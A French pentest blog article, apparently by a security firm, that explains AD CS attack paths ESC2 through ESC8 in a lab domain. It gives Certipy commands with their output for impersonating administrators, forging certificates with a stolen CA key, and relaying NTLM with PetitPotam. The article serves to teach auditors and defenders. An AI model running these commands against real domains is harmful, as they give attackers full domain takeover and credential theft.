Vulnérabilité

Etat de l’art de la compromission d’un environnement AD CS - Partie 2

Team Audit
-
14/10/2024
Cette article est la deuxième partie d'une trilogie sur les vulnérabilités issues des recherches sur AD CS.OWN Security

Partie 2 – D’ESC2 à ESC8

Introduction

Dans le dernier article, nous avons pu voir le fonctionnement général de l’authentification par certificat dans un environnement Windows ainsi qu’une première vulnérabilité : ESC1.

Maintenant que les bases sont acquises, nous allons pouvoir nous pencher sur la suite des vulnérabilités issues des recherches sur AD CS.

ESC2

ESC2 est similaire à ESC1 quoique moins critique. Un modèle de certificat y est vulnérable lorsqu’il regroupe les conditions suivantes :

  • Le modèle de certificat et l’autorité de certification autorisent tous les deux l’enrôlement par un utilisateur non-privilégié. Rien de choquant ici, de nombreux certificats sont utiles aux utilisateurs génériques.
  • La requête de certificat ne nécessite pas la validation par un manager ou un nombre non-nul de signatures. Un peu plus problématique mais c‘est le fonctionnement par défaut et donc assez répandu.
  • Le certificat obtenu via le modèle possède un champ EKU vide ou configuré sur Any Purpose.

OK, et pourquoi est-ce grave alors ? Eh bien une EKU Any Purpose permet, comme les anglophones auront déjà deviné, de se servir du certificat pour toute opération. En somme, si je compromets les identifiants d’un compte, je peux demander un certificat permettant l’authentification client et serveur ainsi que la signature de binaire, le chiffrement de données, etc…

Une EKU vide, correspondant à une EKU SubCA, permet quant à elle de se servir du certificat pour toute opération et aussi pour signer de nouveaux certificats. Un tel certificat est considéré comme une CA subordonnée et, bien que l’AD CS ne lui fasse pas confiance par défaut, il pourra tout de même être utilisé pour signer tout certificat qui n’est pas lié à une authentification.

Template Name ESC2
Display Name ESC2
Certificate Authorities ESSOS-CA
Enabled True
Client Authentication True
Enrollment Agent True
Any PurposeTrue True
Enrollee Supplies Subject False
Certificate Name Flag SubjectAltRequireUpn
Enrollment Flag AutoEnrollment
Private Key Flag 16777216
65536
Extended Key Usage Arny Purpose
Requires Manager Approval False
Requires Key Archival False
Authorized Signatures Required 0
Validity Period 1 year
Renewal Period 6 weeks
Permissions  
Enrollment Permission  
Enrollment Rights ESSOS.LOCAL\Domain Users
Object Control Permissions  
Owner ESSOS.LOCAL\Enterprise Admins
Full Control Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities 
ESC2
'ESSOS.LOCAL\Domain Users' can enroll, enrollee supplies subject and template can be used for any purpose


Il est alors possible de demander un certificat que l’on utilisera comme Certificate Request Agent1 puisque nous avons le droit de l’utiliser pour n’importe quoi (« AnyPurpose ») :

$ certipy req -u 'khal.drogo'@'essos.local' -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Successfully requested certificate

[*] Request ID is 8

[*] Got certificate with UPN 'khal.drogo@essos.local'

[*] Certificate has no object SID

[*] Saved certificate and private key to 'khal.drogo.pfx'

Grâce à ce Certificate Request, je peux demander un certificat pour agir entant que n’importe quel utilisateur arbitraire. La CA validera la demande car elle la considèrera comme signée par une CA-subordonnée :

$ certipy req -u 'khal.drogo'@'essos.local' -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx 'khal.drogo.pfx'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Successfully requested certificate

[*] Request ID is 9

[*] Got certificate with UPN 'administrator@essos.local'

[*] Certificate has no object SID

[*] Saved certificate and private key to 'administrator.pfx'


Il est ensuite possible de s’authentifier avec le certificat généré pour l’utilisateur que nous avons ciblé :

$ certipy auth -pfx 'administrator.pfx' -dc-ip 192.168.56.12

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@essos.local

[*] Trying to get TGT...

[*] Got TGT

[*] Saved credential cache to 'administrator.ccache'

[*] Trying to retrieve NT hash for 'administrator'

[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da


ESC3

ESC3 est similaire aussi mais nécessite plus de prérequis pour une exploitation réussie. En effet, elle exploite une EKU appelée Enrollment Agent qui permet à l’utilisateur demandant ce certificat de s’en servir pour signer une requête de certificat à la place d’un utilisateur via un modèle autorisant explicitement ce processus.

Pour être précis, il faut donc que deux modèles de certificat distincts soient présents :

  • Un modèle qu’un utilisateur peu privilégié peut requérir sans validation particulière et avec l’EKU Enrollment Agent (ou Any Purpose/SubCA, voir ESC2)
  • Un modèle qu’un utilisateur peu privilégié peut requérir et qui autorise la demande par la signature via un certificat possédant une EKU Certificate Request Agent. Ce modèle doit également posséder une EKU permettant l’authentification client (Client Authentication ou Any Purpose/SubCA).
Template Name ESC3-CRA
Display Name ESC3-CRA
Certificate Authorities ESSOS-CA
Enabled True
Client Authentication False
Enrollment Agent True
Any PurposeTrue False
Enrollee Supplies Subject False
Certificate Name Flag SubjectAltRequireUpn
Enrollment Flag AutoEnrollment
Private Key Flag 16777216
65536
Extended Key Usage Certificate Request Agent
Requires Manager Approval False
Requires Key Archival False
Authorized Signatures Required 0
Validity Period 1 year
Renewal Period 6 weeks
Permissions  
Enrollment Permission  
Enrollment Rights ESSOS.LOCAL\Domain Users
Object Control Permissions  
Owner ESSOS.LOCAL\Enterprise Admins
Full Control Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities 
ESC2
'ESSOS.LOCAL\Domain Users' can enroll, enrollee supplies and template has Certificate Request Agent EKU set'


Le modèle de certificat ESC3 permet à un utilisateur peu privilégié de demander un certificat sans validation supplémentaire :

Template Name ESC3
Display Name ESC3
Certificate Authorities ESSOS-CA
Enabled True
Client Authentication True
Enrollment Agent False
Any PurposeTrue False
Enrollee Supplies Subject False
Certificate Name Flag SubjectAltRequireUpn
Enrollment Flag AutoEnrollment
Private Key Flag 16842752
Extended Key Usage Certificate Authentification
Requires Manager Approval False
Requires Key Archival False
Authorized Signatures Required 1
Validity Period 1 year
Renewal Period 6 weeks
Minimum RSA Key Length 2048

Permissions

Enrollment Permission

 
Enrollment Rights ESSOS.LOCAL\Domain Users
Object Control Permissions  
Owner ESSOS.LOCAL\Enterprise Admins
Full Control Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals ESSOS.LOCAL\Domain Admins
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities 
ESC2
'ESSOS.LOCAL\Domain Admin's has dangerous permissions


Si ces deux conditions sont réunies, il est possible de compromettre tout compte du domaine à nouveau !

La commande suivante permet de récupérer le premier certificat de votre utilisateur au format pfx :

Certipy req -u <utilisateur>@<domaine> -p <mot de passe> -target <DNS/IP de l’AD CS> -ca <Autorité de certification proposant le premier modèle vulnérable> -template <nom du premier modèle vulnérable>

$ certipy req -u 'khal.drogo'@'essos.local' -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA

Certipy v4.8.2 - by Oliver Lyak (ly4k)

 

[*] Requesting certificate via RPC

[*] Successfully requested certificate

[*] Request ID is 10

[*] Got certificate with UPN 'khal.drogo@essos.local'

[*] Certificate has no object SID

[*] Saved certificate and private key to 'khal.drogo.pfx'

Cette commande-ci permet ensuite d’obtenir le certificat du compte de votre choix au format pfx :

Certipy req -u <utilisateur>@<domaine> -p <mot de passe> -target <DNS/IP de l’AD CS> -ca <Autorité de certification proposant le deuxième modèle vulnérable> -template <nom du deuxième modèle vulnérable> -on-behalf-of <L’utilisateur pour lequel on veut le certificat>@<domaine> -pfx <le certificat précédemment généré>

$ certipy req -u 'khal.drogo'@'essos.local' -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx 'khal.drogo.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[*] Successfully requested certificate

[*] Request ID is 11

[*] Got certificate with UPN 'administrator@essos.local'

[*] Certificate has no object SID

[*] Saved certificate and private key to 'administrator.pfx'

Il est alors possible de l’utiliser pour s’authentifier avec le compte administrator :

$ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'essos.local' -dc-ip 192.168.56.12

Certipy v4.8.2 - by Oliver Lyak (ly4k)

 

[*] Using principal: administrator@essos.local

[*] Trying to get TGT...

[*] Got TGT

[*] Saved credential cache to 'administrator.ccache'

[*] Trying to retrieve NT hash for 'administrator'

[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da


ESC4

Là, on arrive sur une vulnérabilité un peu différente. En effet, les modèles de certificats restent au final des objets AD et reprennent donc les notions d’ACL auxquelles nous sommes habitués.

Puisque certaines configurations sont vulnérables, il va de soi qu’avoir certains droits d’écriture sur les modèles permet de modifier leurs paramètres de façon à retomber sur une configuration non-sécurisée, par exemple celle qui permet d’exploiter ESC1 !

C’est donc ça le cœur de la vulnérabilité ESC4 : si mon utilisateur a les droits de modification sur un modèle qu’il peut utiliser et qui permet l’authentification client, je peux par exemple activer le flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT et je retombe sur le scénario ESC1.

Les droits en question sont :

  • Owner : J’ai tous les droits sur l’objet et je peux donc évidemment modifier ses propriétés.
  • FullControl : J’ai également tous les droits.
  • WriteOwner : Je peux modifier le propriétaire de l’objet afin de le remplacer par un utilisateur que je contrôle.
  • WriteDacl : Je peux modifier les ACL et me donner le droit FullControl.
  • WriteProperty : Je peux modifier les propriétés de l’objet.

Voici un exemple de modèle de certificat repéré par Certipy comme étant vulnérable à ESC4.

Template Name ESC4
Display Name ESC4
Certificate Authorities ESSOS-CA
Enabled True
Client Authentication False
Enrollment Agent False
Any PurposeTrue False
Enrollee Supplies Subject False
Certificate Name Flag

SubjectRequireDirectoryPath
SubjectRequireEmail
SubjectAltRequireUpn 

Enrollment Flag AutoEnrollment
PublishToDs
PendAllRequests
IncludeSymmetricAlgortihms
Private Key Flag ExportableKey
Extended Key Usage Code Signing
Requires Manager Approval True
Requires Key Archival False
Authorized Signatures Required 1
Validity Period 1 year
Renewal Period 6 weeks
Minimum RSA Key Length              2048

Permissions

Enrollment Permission

 
Enrollment Rights ESSOS.LOCAL\Domain Users
Object Control Permissions  
Owner ESSOS.LOCAL\Enterprise Admins
Full Control Principals

ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo

  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Owner Principals ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Dacl Principals ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
Write Property Principals ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\khal.drogo
  ESSOS.LOCAL\Local System
ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities 
ESC4
'ESSOS.LOCAL\khal.drogo'has dangerous permissions

Certipy, en tant que couteau-suisse de qualité, permet également de très facilement modifier ce dernier tout en sauvegardant l’ancienne configuration pour la restaurer :

Certipy template -u <utilisateur>@<domaine> -p <mot de passe> -template <nom du modèle vulnérable> -save-old

$ certipy template -u 'khal.drogo'@'essos.local' -p 'horse' -template ESC4 -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'ESC4' to 'ESC4.json'

[*] Updating certificate template 'ESC4'

[*] Successfully updated 'ESC4'

Cette commande va configurer le modèle ciblé pour le rendre vulnérable à ESC1 tout en sauvegardant la configuration initiale via l’option save-old.

On peut alors vérifier la configuration du template pour s’assurer de sa modification, on peut facilement voir la différence entre les éléments en bleu dans le modèle précédent et ceux en rouge de ce modèle mis à jour :

Template Name ESC4
Display Name ESC4
Certificate Authorities ESSOS-CA
Enabled True
Client Authentication True
Enrollment Agent True
Any PurposeTrue True
Enrollee Supplies Subject True
Certificate Name Flag EnrolleeSuppliesSubject
Enrollment Flag None
Private Key Flag ExportableKey
Requires Manager Approval False
Requires Key Archival False
Authorized Signatures Required 1
Validity Period 5 years
Renewal Period 6 weeks
Minimum RSA Key Length              2048

Permissions

 
Object Control Permissions  
Owner ESSOS.LOCAL\Enterprise Admins
Full Control Principals

ESSOS.LOCAL\Authenticated Users

Write Owner Principals ESSOS.LOCAL\Authenticated Users
Write Dacl Principals ESSOS.LOCAL\Authenticated Users
Write Property Principals ESSOS.LOCAL\Authenticated Users


Pour l’exploitation de la vulnérabilité ESC1, je vous renvoie directement au premier article de ce corpus.

Une fois l’attaque réussie, l’ancien modèle peut être redéployé via la commande suivante :

Certipy template -u <utilisateur>@<domaine> -p <mot de passe> -template <nom du template> -configuration <modèle>.json

$ certipy template -u 'khal.drogo'@'essos.local' -p 'horse' -template ESC4 -configuration ESC4.json

Certipy v4.8.2 - by Oliver Lyak (ly4k)

 

[*] Updating certificate template 'ESC4'

[*] Successfully updated 'ESC4'

ESC5

ESC5 repose quant à elle sur des défauts de configuration plus généraux mais entraînant in fine la compromission de l’ AD CS. Par exemple, si je compromets le compte machine d’un serveur de CA ou si je compromets le serveur COM utilisé par le serveur de la CA pour les appels RPC/DCOM, je peux potentiellement compromettre l’AD CS. 

La recherche de Specter Ops n’a pas détaillé d’attaques ESC5 car le sujet est vaste. Cependant, une piste peut être d’utiliser Certify.exe, l’outil développé par SpecterOps pour lister les ACL des différents objets liés à la PKI via la commande suivante :

Certify.exe pkiobjects /domain:<domaine>

Si des défauts d’ACL sont constatés, l’AD CS est à risque de compromission. En effet, l’attaque dite du Golden Certificate2 permet à un attaquant ayant des droits d’administration sur un serveur CA d’obtenir un accès persistant pour compromettre le domaine.

L’attaque en elle-même consiste à extraire la clef privée et le certificat de la CA au format .p12, par exemple via une connexion RDP et un accès à l’utilitaire certsrv.msc ou via des utilitaires tels que Mimikatz, Seatbelt, SharpDPAPI ou…Certipy ! Décidément, il est partout. La commande pour extraire le certificat de la CA via un compte ayant des droits d’admin dessus est la suivante :

certipy ca -backup -u <utilisateur>[@<domaine> si ce n’est pas un compte local] -p <mot de passe> -target <le serveur de la CA> -ca <la CA dont on veut extraire le certificat>

$ certipy ca -backup -u 'khal.drogo'@'essos.local' -p 'horse' -target 192.168.56.23 -ca 'ESSOS-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k) 

[*] Creating new service

[*] Creating backup

[*] Retrieving backup

[*] Got certificate and private key

[*] Saved certificate and private key to 'ESSOS-CA.pfx'

[*] Cleaning up

Une fois ces objets en notre possession, on peut maintenant délivrer nous-même des certificats valides ! Encore une fois, plusieurs utilitaires tels que Mimikatz, ForgeCert ou Certipy peuvent être utilisés.

Sur ce dernier, la commande à faire pour générer un certificat est :

Certipy forge -ca-pfx <le certificat de la CA précédemment généré> -upn <l’utilisateur pour lequel on veut le certificat>@<domaine> -subject <sujet à intégrer au certificat, généralement au format CN=Administrateur,CN=Users,DC=domaine,DC=local pour le compte Administrateur@domaine.local>

$ certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn 'daenerys.targaryen@essos.local' -crl 'CN=daenerys.targaryen,CN=Users,DC=essos,DC=local'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved forged certificate and private key to 'daenerys.targaryen_forged.pfx'

Similairement à ESC1 et ESC3, je suis en possession du certificat de l’utilisateur de mon choix. Je peux alors m’authentifier avec ce certificat et compromettre le compte :

certipy auth -pfx 'daenerys.targaryen_forged.pfx' -dc-ip 192.168.56.12 -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k) 

[*] Using principal: daenerys.targaryen@essos.local

[*] Trying to get TGT...

[*] Got TGT

[*] Saved credential cache to 'daenerys.targaryen.ccache'

[*] Trying to retrieve NT hash for 'daenerys.targaryen'

[*] Got hash for 'daenerys.targaryen@essos.local': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a

Note :
Si une tentative d’authentification avec le certificat nouvellement généré renvoie une erreur KDC_ERROR_CLIENT_NOT_TRUSTED, cela signifie que le certificat forgé n’est pas correct et, selon Oliver Lyak3, vient d’un écart au niveau de la CRL. Une valeur manuelle peut être passée via -crl ou un certificat valide peut être utilisé comme modèle via l’option -template.

ESC6

Note : ESC6 a été rendue inefficace par un patch Microsoft publié en Mai 2022 mais je laisse les détails d’exploitation ici bien que ça n’arrive jamais qu’un système ne soit pas maintenu à jour (🤨)

Cette vulnérabilité est assez brutale et ressemble fortement à l’exploitation d’ESC1. En effet, là où cette dernière découle d’un modèle de certificat possédant le flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT permettant à l’utilisateur de spécifier le subject Alternative Name (SAN) que le certificat permet d’identifier, ESC6 repose plutôt sur le flag EDITF_ATTRIBUTESUBJECTALTNAME2 configuré directement sur la CA.

Ce que cela signifie ? Eh bien plutôt que de restreindre la faille à un seul modèle, ce flag rend tous les modèles de certificat vulnérables à ESC1. Rien que ça ! 

Voici un exemple de CA vulnérable détectée par Certipy :

CA Name                             ESSOS-CA
DNS Name braavos.essos.local
Certificate Subject CN=ESSOS-CA, DC=essos, DC=local
Certificate Serial Number           422856AEFA40E89B42B8F81A8B12CBFB
Certificate Validity Start          2024-09-12 11:29:36+00:00
Certificate Validity End            2029-09-12 11:39:35+00:00
Web Enrollment Enabled
User Specified SAN                  Enabled
Request Disposition                 Issue
Enforce Encryption for Requests     Enabled
Permission  
Owner ESSOS.LOCAL\Administrators

Access Rights

 
ManageCertificates   ESSOS.LOCAL\Administrators
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
ManageCa ESSOS.LOCAL\Administrators
ESSOS.LOCAL\Domain Admins
ESSOS.LOCAL\Enterprise Admins
Enroll                          ESSOS.LOCAL\Authenticated Users


Ainsi, si le système n’est pas patché, il suffit de prendre n’importe quel modèle de certificat qui permet l’authentification du client et que notre utilisateur peut requérir afin d’exploiter ESC1 sur ce dernier, c’est notamment le cas du modèle User présent et actif par défaut sur les CA. Pour l’exploitation de ESC1, je vous renvoie directement vers le premier article de notre corpus.

ESC7

Vous vous rappelez d’ESC4 où l’on a vu qu’un modèle de certificat n’est au final qu’un objet AD avec ses ACL ? Eh bien vous ne devinerez jamais ce que sont les CA !

Eh oui, des objets AD avec leurs propres ACL ! Elles sont un peu différentes de celles auxquelles nous sommes habitués mais elles sont assez simples à comprendre. Celles qui nous intéressent sont les suivantes :

  • ManageCA – Avec ce droit, je peux modifier les propriétés de la CA, ce qui a deux conséquences. Premièrement, si le patch de Mai 2022 mentionné dans ESC6 n’est pas installé, je peux activer le flag EDITF_ATTRIBUTESUBJECTALTNAME2 pour rendre la CA vulnérable à ESC6. Deuxièmement, je peux attribuer le droit Manage Certificates (la deuxième ACL qui nous intéresse) à un utilisateur que je maîtrise.

    Pour se faire, on fait à nouveau appel à Certipy :
Certipy ca -ca <autorité de certification qu’on veut compromettre> -u <utilisateur>@<domaine> -p <mot de passe> -add-officer <utilisateur auquel on veut donner le droit ManageCertificates>

 

$ certipy ca -u 'khal.drogo' -p 'horse' -dc-ip 192.168.56.12 -ca 'ESSOS-CA' -add-officer 'khal.drogo' -target-ip 192.168.56.23
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'khal.drogo' on 'ESSOS-CA'

  • ManageCertificates – Vous vous rappelez la mesure de sécurité Manager approval ? C’est une des recommandations à mettre en place pour protéger les modèles de certificat en requérant la validation manuelle d’une personne habilitée avant de donner un certificat à l’utilisateur. Eh bien le droit ManageCertificates permet, en plus d’activer des modèles potentiellement vulnérables mais désactivés, de valider ces requêtes et donc de contourner cette mesure !

Toujours avec Certipy,voici les commandes qu’on peut utiliser :

Tout d’abord, pour activer un modèle vulnérable à ESC1 par exemple mais nécessitant la validation d’un manager. C’est le cas pour le modèle SubCa présent par défaut sur toutes les CA :

 

 Certipy ca -ca <autorité de certification> -u <utilisateur>@<domaine> -p <mot de passe> -enable-template <modèle à activer>

 

$ certipy ca -ca 'ESSOS-CA' -u 'khal.drogo'@'essos.local' -p 'horse' -enable-template 'SubCA' -target-ip 192.168.56.23
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'ESSOS-CA'

Pour effectuer une requête, ici en exploitant ESC1, et la valider soi-même :

Certipy req -u <utilisateur>@<domaine> -p <mot de passe> -ca <autorité de certification> -template <modèle vulnérable> -upn <utilisateur ciblé>

$ certipy req -u 'khal.drogo'@'essos.local' -p 'horse' -ca 'ESSOS-CA' -target 192.168.56.23 -template 'SubCA' -upn 'administrator'@'essos.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC

[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.

[*] Request ID is 7

Would you like to save the private key? (y/N) y

[*] Saved private key to 7.key

[-] Failed to request certificate

Plusieurs éléments sont importants ici. Tout d’abord, on peut noter l’échec de la requête. Pour autant, on obtient quand même l’ID de notre requête. Grâce à aux droits ManageCA que l’on s’est attribué tout à l’heure, je peux valider ma propre requête :

Certipy ca -u <utilisateur>@<domaine> -p <mot de passe> -ca <autorité de certification> -issue-request <ID de requête>

$ certipy ca -ca 'ESSOS-CA' -issue-request 7 -u 'khal.drogo'@'essos.local' -p 'horse' -target-ip 192.168.56.23
Certipy v4.8.2 - by Oliver Lyak (ly4k)

 

[*] Successfully issued certificate

Maintenant que la requête a été validée par un Manager, soit moi-même, je peux retrouver mon certificat :

Certipy req -u <utilisateur>@<domaine> -p <mot de passe> -ca <autorité de certification> -retreive <ID de requête>

Et hop, j’ai réussi à récupérer mon certificat alors que le modèle était désactivé et nécessitait la validation d’un manager ! A nouveau, avec ce certificat je peux compromettre l’intégralité du domaine.


ESC8

Aaaaah, ESC8… Probablement la plus brutale des vulnérabilités liées à AD CS et celle qui peut permettre de compromettre un domaine en moins de 5 minutes.

Sans perdre de temps, commençons par parler de la racine du problème.

Vous vous rappelez plus haut quand j’ai dit que l’enrôlement se faisait généralement par RPC mais parfois par HTTP ? Eh bien un AD CS est vulnérable à ESC8 s’il autorise ce fameux enrôlement HTTP (ouWeb Enrolement) sans mettre en place de protection contre le relai NTLM ce qui, soyons honnête, est le cas 99% du temps si l’enrôlement HTTP est activé.

Pour vérifier, certipy est globalement assez doué pour le remonter lors de la phase de reconnaissance mais il est possible de le confirmer en vérifiant si le contrôleur de domaine expose un port HTTP et si l’interface d’enrôlement est bien présente à l’adresse http(s)://<IP_du_DC>/certsrv (dans le cas de notre lab http://192.168.56.23/certsrv,l ’adresse de notre CA) :

Très bien, maintenant en quoi consiste l’attaque ? Eh bien de façon assez évidente, si un utilisateur peut demander un certificat via le protocole HTTP et que je peux faire du relai NTLM vers le protocole HTTP, je peux relayer une action authentifiée vers le service d’enrôlement d’un certificat permettant l’authentification client afin d’obtenir un certificat permettant d’identifier l’utilisateur relayé.

Ca tombe bien, HTTP est idéal pour le relaying NTLM :

Bon, bon… Compromettre un utilisateur c’est pas mal, surtout que ça permet de pérenniser un accès à partir d’un simple relai NTLM qui est, par définition, unique et éphémère. Mais moi je vous ai promis du sang et des larmes, et je ne vous ai pas menti, on y vient.

La beauté d’ESC8 c’est qu’on est limité que par l’utilisateur qui est relayé et les modèles de certificat qui sont accessibles par cet utilisateur. Ça signifie que si je relaye un compte machine et qu’un modèle de certificat pouvant être demandé par ces derniers permet l’authentification (comme, par exemple, le modèle par défaut Machine, ou nous allons le voir plus tard DomainController), je peux le compromettre également.

Il s’avère qu’un compte machine très sympathique existe sur les environnements AD Windows, c’est celui du contrôleur de domaine qui possède, entre autres, les droits de réplication et donc peut être utilisé pour la fameuse attaque de DCSync4.

Il s’avère également que plusieurs vulnérabilités existent pour forcer l’authentification de comptes machines, heureuse coïncidence ! La plus répandue est PetitPotam5 qui n’est pas complètement patchée par Microsoft et est donc généralement présente même sur un système à jour.

On récapitule :

  • J’accède au réseau interne et j’effectue ma phase de reconnaissance sur le réseau. Je découvre ainsi qu’un AD CS est configuré et que l’enrôlement HTTP l’est aussi.
  • Je mets en place mon relai NTLM qui va attendre une connexion en tentant ma chance pour le modèle par défaut DomainController : 

 

Lespuristes peuvent utiliser ntlmrelayx.py mais certipy fait très bien l’affaire.

Certipy relay -ca <IP de l’AD> -template DomainController

$ certipy relay -target 192.168.56.23 -template DomainController
Certipy v4.8.2 - by Oliver Lyak (ly4k)

 

[*] Targeting http://192.168.56.23/certsrv/certfnsh.asp (ESC8)

[*] Listening on 0.0.0.0:445

ESSOS\MEEREEN$

[*] Requesting certificate for 'ESSOS\\MEEREEN$' based on the template 'DomainController'

[*] Got certificate with DNS Host Name 'meereen.essos.local'

[*] Certificate has no object SID

[*] Saved certificate and private key to 'meereen.pfx'

[*] Exiting...

  • Je tente ma chance avec PetitPotam  :

python3 PetitPotam.py -d <domaine> -u <utilisateur> -p <mot de passe> <Mon IP/IP du relai> <IP du DC>

  • Si tout a fonctionné, j’obtiens le certificat du compte machine du contrôleur de domaine, ce qui est notre cas grâce aucertificat meereen.pfx que je peux utiliser pour m’authentifier auprès du DC légitime et compromettre le domaine !

Note de bas de page

1. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cersod/97f47d4c-2901-41fa-9616-96b94e1b5435

2. https://pentestlab.blog/2021/11/15/golden-certificate/

3. https://github.com/ly4k/Certipy/blob/main/README.md

4. https://posts.specterops.io/domain-of-thrones-part-i-c183ee4bf379

5. https://github.com/topotam/petitpotam

Partager l'article :

Your OWN cyber expert.